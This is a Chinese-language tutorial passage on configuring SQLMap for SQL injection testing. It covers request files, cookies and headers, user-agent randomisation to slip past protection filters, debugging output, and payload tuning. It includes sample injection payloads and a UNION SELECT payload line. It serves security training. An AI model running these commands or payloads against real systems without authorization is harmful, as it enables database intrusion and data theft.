Skip to content

4、构建攻击

在HTTP请求上运行 SQLMap

SQLMap 有许多选项和开关,可用于在使用前正确设置 (HTTP) 请求。

在许多情况下,简单的错误(例如忘记提供正确的 cookie 值、使用冗长的命令行进行过于复杂的设置或格式化 POST 数据的声明不当)将阻止正确检测和利用潜在的 SQLi 漏洞。

Curl 命令

针对特定目标(内部带有参数的Web请求)正确设置 SQLMap 请求的最佳和最简单的方法之一是利用 Chrome、Edge 或 Firefox 开发人员工具中 Network 面板中的 Copy as cURL 功能

通过将剪贴板内容 ( Ctrl-V) 粘贴到命令行,并将原始命令更改curlsqlmap,我们可以通过相同的curl命令使用 SQLMap:

$ sqlmap 'http://www.example.com/?id=1' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0' -H 'Accept: image/webp,*/*' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Connection: keep-alive' -H 'DNT: 1'

当向 SQLMap 提供测试数据时,必须有一个可以评估 SQLi 漏洞的参数值或用于自动参数查找的专门选项/开关(例如--crawl,--forms-g)。

GET/POST 请求

在最常见的情况下,GET参数使用选项-u/提供--url,如前一个示例所示。至于测试POST数据,可以使用 --data 标志,如下:

$ sqlmap 'http://www.example.com/' --data 'uid=1&name=test'

在这种情况下,将测试 POST 参数 uidname 是否存在 SQLi 漏洞。例如,如果我们清楚地表明参数 uid 容易出现 SQLi 漏洞,我们可以使用 -p uid 将测试范围缩小到仅此参数。否则,我们可以使用特殊标记 * 将其标记在提供的数据中,如下所示:

完整的 HTTP 请求

如果我们需要指定具有许多不同标头值和加长 POST 正文的复杂 HTTP 请求,我们可以使用 -r 标志。使用此选项,SQLMap 提供了“请求文件”,在单个文本文件中包含整个 HTTP 请求。在常见的情况下,可以从专门的代理应用程序(例如 Burp)中捕获此类 HTTP 请求并将其写入请求文件,如下所示:

![[Pasted image 20221205161809.png]]

使用 Burp 捕获的 HTTP 请求示例如下所示:

GET /?id=1 HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1
If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMT
If-None-Match: "3147526947"
Cache-Control: max-age=0

我们可以从 Burp 中手动复制 HTTP 请求并将其写入文件,或者我们可以在 Burp 中右键单击请求并选择 Copy to file 。捕获完整 HTTP 请求的另一种方法是使用浏览器,如本节前面所述,并选择选项 Copy > Copy Request Headers,然后将请求粘贴到文件中。

要使用 HTTP 请求文件运行 SQLMap,我们使用 -r 标志,如下所示:

$ sqlmap -r req.txt
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.4.9}
|_ -| . [(]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org


[*] starting @ 14:32:59 /2020-09-11/

[14:32:59] [INFO] parsing HTTP request from 'req.txt'
[14:32:59] [INFO] testing connection to the target URL
[14:32:59] [INFO] testing if the target URL content is stable
[14:33:00] [INFO] target URL content is stable

提示:与使用“--data”选项的情况类似,在保存的请求文件中,我们可以用星号 (*) 指定要注入的参数,例如“/?id=*”。

自定义 SQLMap 请求

如果我们想手动制作复杂的请求,可以使用许多开关和选项来微调 SQLMap。

例如,如果需要将 (session) cookie 值指定为 PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c 选项 --cookie 将按如下方式使用:

$ sqlmap ... --cookie='PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c'

使用选项 -H/--header 可以达到相同的效果:

$ sqlmap ... -H='Cookie:PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c'

我们可以对 --host--referer-A/--user-agent 等选项应用相同的选项,这些选项用于指定相同的 HTTP 标头值。

此外,还有一个开关 --random-agent 旨在从包含的常规浏览器值数据库中随机选择一个 User-agent 标头值。这是一个需要记住的重要开关,因为越来越多的保护解决方案会自动丢弃所有包含可识别的默认 SQLMap 用户代理值的 HTTP 流量(例如 User-agent: sqlmap/1.4.9.12#dev (http://sqlmap.org) ).或者,--mobile 开关可用于通过使用相同的标头值来模仿智能手机。

虽然默认情况下 SQLMap 仅针对 HTTP 参数,但可以测试 SQLi 漏洞的标头。最简单的方法是在标头值之后指定“自定义”注入标记(例如 --cookie="id=1*" )。同样的原则适用于请求的任何其他部分。

此外,如果我们想指定一个替代的 HTTP 方法,而不是 GETPOST(例如,PUT),我们可以使用选项 --method,如下所示:

$ sqlmap -u www.target.com --data='id=1' --method PUT

自定义 HTTP 请求

除了最常见的表单数据 POST 主体样式(例如 id=1),SQLMap 还支持 JSON 格式(例如 {"id":1})和 XML 格式(例如 <element><id>1</id>< /element>) HTTP 请求。

以 "relaxed" 的方式实现对这些格式的支持;因此,对于参数值在内部的存储方式没有严格的限制。如果 POST 主体相对简单和简短,选项 --data 就足够了。

但是,在复杂或长 POST 主体的情况下,我们可以再次使用 -r 选项:

$ cat req.txt
HTTP / HTTP/1.0
Host: www.example.com

{
  "data": [{
    "type": "articles",
    "id": "1",
    "attributes": {
      "title": "Example JSON",
      "body": "Just an example",
      "created": "2020-05-22T14:56:29.000Z",
      "updated": "2020-05-22T14:56:28.000Z"
    },
    "relationships": {
      "author": {
        "data": {"id": "42", "type": "user"}
      }
    }
  }]
}
$ sqlmap -r req.txt
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.4.9}
|_ -| . [)]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org


[*] starting @ 00:03:44 /2020-09-15/

[00:03:44] [INFO] parsing HTTP request from 'req.txt'
JSON data found in HTTP body. Do you want to process it? [Y/n/q] 
[00:03:45] [INFO] testing connection to the target URL
[00:03:45] [INFO] testing if the target URL content is stable
[00:03:46] [INFO] testing if HTTP parameter 'JSON type' is dynamic
[00:03:46] [WARNING] HTTP parameter 'JSON type' does not appear to be dynamic
[00:03:46] [WARNING] heuristic (basic) test shows that HTTP parameter 'JSON type' might not be injectable

处理 SQLMap 错误

在设置 SQLMap 或将其用于 HTTP 请求时,我们可能会遇到很多问题。在本节中,我们将讨论用于查找原因并正确修复它的推荐机制。

显示错误

第一步通常是切换 --parse-errors,解析 DBMS 错误(如果有)并将它们显示为程序运行的一部分:

...SNIP...
[16:09:20] [INFO] testing if GET parameter 'id' is dynamic
[16:09:20] [INFO] GET parameter 'id' appears to be dynamic
[16:09:20] [WARNING] parsed DBMS error message: 'SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '))"',),)((' at line 1'"
[16:09:20] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[16:09:20] [WARNING] parsed DBMS error message: 'SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''YzDZJELylInm' at line 1'
...SNIP...

使用此选项,SQLMap 将自动打印 DBMS 错误,从而让我们清楚可能是什么问题,以便我们可以正确修复它。

## Store the Traffic(流量)

-t 选项将整个流量内容存储到输出文件中:

$ sqlmap -u "http://www.target.com/vuln.php?id=1" --batch -t /tmp/traffic.txt

$ cat /tmp/traffic.txt
HTTP request [#1]:
GET /?id=1 HTTP/1.1
Host: www.example.com
Cache-control: no-cache
Accept-encoding: gzip,deflate
Accept: */*
User-agent: sqlmap/1.4.9 (http://sqlmap.org)
Connection: close

HTTP response [#1] (200 OK):
Date: Thu, 24 Sep 2020 14:12:50 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 914
Connection: close
Content-Type: text/html; charset=UTF-8
URI: http://www.example.com:80/?id=1

<!DOCTYPE html>
<html lang="en">
...SNIP...

正如我们从上面的输出中看到的,/tmp/traffic.txt 文件现在包含所有发送和接收的 HTTP 请求。因此,我们现在可以手动调查这些请求以查看问题发生的位置。

详细输出

另一个有用的标志是 -v 选项,它提高了控制台输出的冗长级别:

$ sqlmap -u "http://www.target.com/vuln.php?id=1" -v 6 --batch
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.4.9}
|_ -| . [(]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org


[*] starting @ 16:17:40 /2020-09-24/

[16:17:40] [DEBUG] cleaning up configuration parameters
[16:17:40] [DEBUG] setting the HTTP timeout
[16:17:40] [DEBUG] setting the HTTP User-Agent header
[16:17:40] [DEBUG] creating HTTP requests opener object
[16:17:40] [DEBUG] resolving hostname 'www.example.com'
[16:17:40] [INFO] testing connection to the target URL
[16:17:40] [TRAFFIC OUT] HTTP request [#1]:
GET /?id=1 HTTP/1.1
Host: www.example.com
Cache-control: no-cache
Accept-encoding: gzip,deflate
Accept: */*
User-agent: sqlmap/1.4.9 (http://sqlmap.org)
Connection: close

[16:17:40] [DEBUG] declared web page charset 'utf-8'
[16:17:40] [TRAFFIC IN] HTTP response [#1] (200 OK):
Date: Thu, 24 Sep 2020 14:17:40 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 914
Connection: close
Content-Type: text/html; charset=UTF-8
URI: http://www.example.com:80/?id=1

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
  <meta name="description" content="">
  <meta name="author" content="">
  <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet">
  <title>SQLMap Essentials - Case1</title>
</head>

<body>
...SNIP...

如我们所见,-v 6 选项将直接向终端打印所有错误和完整的 HTTP 请求,以便我们可以实时跟踪 SQLMap 正在执行的所有操作。

使用代理

最后,我们可以利用 --proxy 选项通过 (MiTM) 代理(例如 Burp)重定向整个流量。这将通过 Burp 路由所有 SQLMap 流量,以便我们稍后可以手动调查所有请求,重复它们,并利用 Burp 的所有功能处理这些请求:

![[Pasted image 20221205173112.png]]

攻击调整

在大多数情况下,SQLMap 应该使用提供的目标详细信息开箱即用。然而,有一些选项可以微调 SQLi 注入尝试,以在检测阶段帮助 SQLMap。发送到目标的每个 payloads 包括:

  • vector(拼接) (例如,UNION ALL SELECT 1,2,VERSION()) :有效载荷的中心部分,携带要在目标处执行的有用 SQL 代码。

  • boundaries(闭合) (例如 '<vector>-- -):前缀和后缀形式,用于将 vector 正确注入到易受攻击的 SQL 语句中。

前缀/后缀

在极少数情况下需要特殊的前缀和后缀值,常规 SQLMap 运行未涵盖这些值。 对于此类运行,选项 --prefix--suffix 可以按如下方式使用:

sqlmap -u "www.example.com/?q=test" --prefix="%'))" --suffix="-- -"

这将导致 vecter 值包含在静态前缀 %')) 和后缀 -- - 之间 。 例如,如果目标处的易受攻击代码是:

$query = "SELECT id,name,surname FROM users WHERE id LIKE (('" . $_GET["q"] . "')) LIMIT 0,1";
$result = mysqli_query($link, $query);

向量 UNION ALL SELECT 1,2,VERSION(),以前缀 %')) 和后缀 -- - 为界,将在目标处产生以下(有效)SQL 语句:

SELECT id,name,surname FROM users WHERE id LIKE (('test%')) UNION ALL SELECT 1,2,VERSION()-- -')) LIMIT 0,1

Level/Risk

默认情况下,SQLMap 结合了一组预定义的最常见边界(即前缀/后缀对),以及在易受攻击的目标情况下成功率很高的向量。尽管如此,用户还是有可能使用更大的 boundaries 和vector 集,这些已经合并到 SQLMap 中。

对于此类需求,应使用选项 --level--risk :

  • 选项 --level1-5,默认为 1)根据它们对成功的期望(即期望越低,级别越高)扩展正在使用的vector和boundaries。

  • 选项 --risk1-3,默认 1)根据它们在目标端引起问题的风险(即数据库条目丢失或拒绝服务的风险)扩展使用的vector集。

对于不同的 --level--risk 值,检查使用的 boundaries 和有效 payload 之间差异的最佳方法是使用 -v 选项来设置详细级别。在 verbosity 3 或更高级别(例如 -v 3),将显示包含使用的 [PAYLOAD] 的消息,如下所示:

$ sqlmap -u www.example.com/?id=1 -v 3 --level=5

...SNIP...
[14:17:07] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:17:07] [PAYLOAD] 1) AND 5907=7031-- AuiO
[14:17:07] [PAYLOAD] 1) AND 7891=5700 AND (3236=3236
...SNIP...
[14:17:07] [PAYLOAD] 1')) AND 1049=6686 AND (('OoWT' LIKE 'OoWT
[14:17:07] [PAYLOAD] 1'))) AND 4534=9645 AND ((('DdNs' LIKE 'DdNs
[14:17:07] [PAYLOAD] 1%' AND 7681=3258 AND 'hPZg%'='hPZg
...SNIP...
[14:17:07] [PAYLOAD] 1")) AND 4540=7088 AND (("hUye"="hUye
[14:17:07] [PAYLOAD] 1"))) AND 6823=7134 AND ((("aWZj"="aWZj
[14:17:07] [PAYLOAD] 1" AND 7613=7254 AND "NMxB"="NMxB
...SNIP...
[14:17:07] [PAYLOAD] 1"="1" AND 3219=7390 AND "1"="1
[14:17:07] [PAYLOAD] 1' IN BOOLEAN MODE) AND 1847=8795#
[14:17:07] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)'

另一方面,与默认 --level 值一起使用的有效载荷具有相当小的一组boundaries:

$ sqlmap -u www.example.com/?id=1 -v 3
...SNIP...
[14:20:36] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:20:36] [PAYLOAD] 1) AND 2678=8644 AND (3836=3836
[14:20:36] [PAYLOAD] 1 AND 7496=4313
[14:20:36] [PAYLOAD] 1 AND 7036=6691-- DmQN
[14:20:36] [PAYLOAD] 1') AND 9393=3783 AND ('SgYz'='SgYz
[14:20:36] [PAYLOAD] 1' AND 6214=3411 AND 'BhwY'='BhwY
[14:20:36] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)'

至于 vector,我们可以比较使用的有效载荷如下:

$ sqlmap -u www.example.com/?id=1
...SNIP...
[14:42:38] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:42:38] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[14:42:38] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
...SNIP...
$ sqlmap -u www.example.com/?id=1 --level=5 --risk=3

...SNIP...
[14:46:03] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:46:03] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[14:46:03] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)'
...SNIP...
[14:46:05] [INFO] testing 'PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)'
[14:46:05] [INFO] testing 'PostgreSQL OR boolean-based blind - WHERE or HAVING clause (CAST)'
[14:46:05] [INFO] testing 'Oracle AND boolean-based blind - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)'
...SNIP...
[14:46:05] [INFO] testing 'MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause'
[14:46:05] [INFO] testing 'MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)'
[14:46:05] [INFO] testing 'PostgreSQL boolean-based blind - ORDER BY clause (original value)'
...SNIP...
[14:46:05] [INFO] testing 'SAP MaxDB boolean-based blind - Stacked queries'
[14:46:06] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[14:46:06] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
...SNIP...

至于有效 payload 的数量,默认情况下(即 --level=1 --risk=1),用于测试单个参数的有效 payload 数量最多为72,而在最详细的情况下(--level=5 --risk=3) 有效 payload 的数量增加到 7,865。

由于 SQLMap 已经调整为检查最常见的 boundaries 和 vector,因此建议普通用户不要触摸这些选项,因为这会使整个检测过程变得相当慢。然而,在 SQLi 漏洞的特殊情况下,必须使用 OR payloads (例如,在登录页面的情况下),我们可能不得不自己提高风险级别。

这是因为 OR 有效载荷在默认运行中具有固有的危险性,其中潜在的易受攻击的 SQL 语句(尽管不太常见)正在主动修改数据库内容(例如 DELETEUPDATE)。

进阶调整

为了进一步微调检测机制,有大量的开关和选项。在常规情况下,SQLMap 不需要使用它。尽管如此,我们还是需要熟悉它们,以便我们可以在需要时使用它们。

状态码

例如,在处理包含大量动态内容的巨大目标响应时,TRUEFALSE 响应之间的细微差别可用于检测目的。如果可以在 HTTP 代码中看到 TRUEFALSE 响应之间的差异(例如 200 代表 TRUE500 代表 FALSE),选项 --code 可以用于将 TRUE 响应的检测固定到特定的 HTTP 代码(例如 --code=200)。

标题

如果通过检查 HTTP 页面标题可以看出响应之间的差异,则可以使用开关 --titles 指示检测机制根据 HTML 标记 <title> 的内容进行比较。

Strings

如果特定字符串值出现在 TRUE 响应中(例如 success),而在 FALSE 响应中不存在,选项 --string 可用于仅基于该单个值的出现(例如 --string=success ).

Text-only

当处理很多隐藏内容时,比如某些 HTML 页面行为标签(如 <script><style><meta> 等),我们可以使用 --text-only 开关,它会去除所有的 HTML标签,并且仅基于文本(即可见)内容进行比较。

Techniques

在某些特殊情况下,我们必须将使用的有效载荷缩小到特定类型。例如,如果基于时间的盲负载以响应超时的形式造成问题,或者如果我们想强制使用特定的 SQLi 负载类型,选项 --technique 可以指定要使用的 SQLi 技术。

例如,如果我们想跳过基于时间的盲目和堆叠 SQLi payloads ,而只测试基于布尔的盲目、基于错误和 UNION 查询的 payloads ,我们可以使用 --technique=BEU 指定这些技术。

UNION SQLi Tuning

在某些情况下,UNION SQLi payloads 需要额外的用户提供的信息才能工作。如果我们可以手动找到易受攻击的 SQL 查询的确切列数,我们可以使用选项 --union-cols(例如 --union-cols=17)将此数字提供给 SQLMap。如果 SQLMap 使用的默认“虚拟”填充值 -NULL 和随机整数 - 与易受攻击的 SQL 查询结果的值不兼容,我们可以指定一个替代值(例如 --union-char='a' ).

此外,如果需要以 FROM <table> 的形式在 UNION 查询末尾使用附录(例如,在 Oracle 的情况下),我们可以使用选项 --union-from (例如 --union-from=users)。 未能自动使用正确的 FROM 附录可能是由于无法在使用前检测到 DBMS 名称。

UNION ALL SELECT NULL,CONCAT(CONCAT('qqxkq','aXZHZVcSsclfDMVozxoBQWAEcBrvnNRALhFKSkJH'),'qkkqq'),NULL,NULL,NULL-- gBKM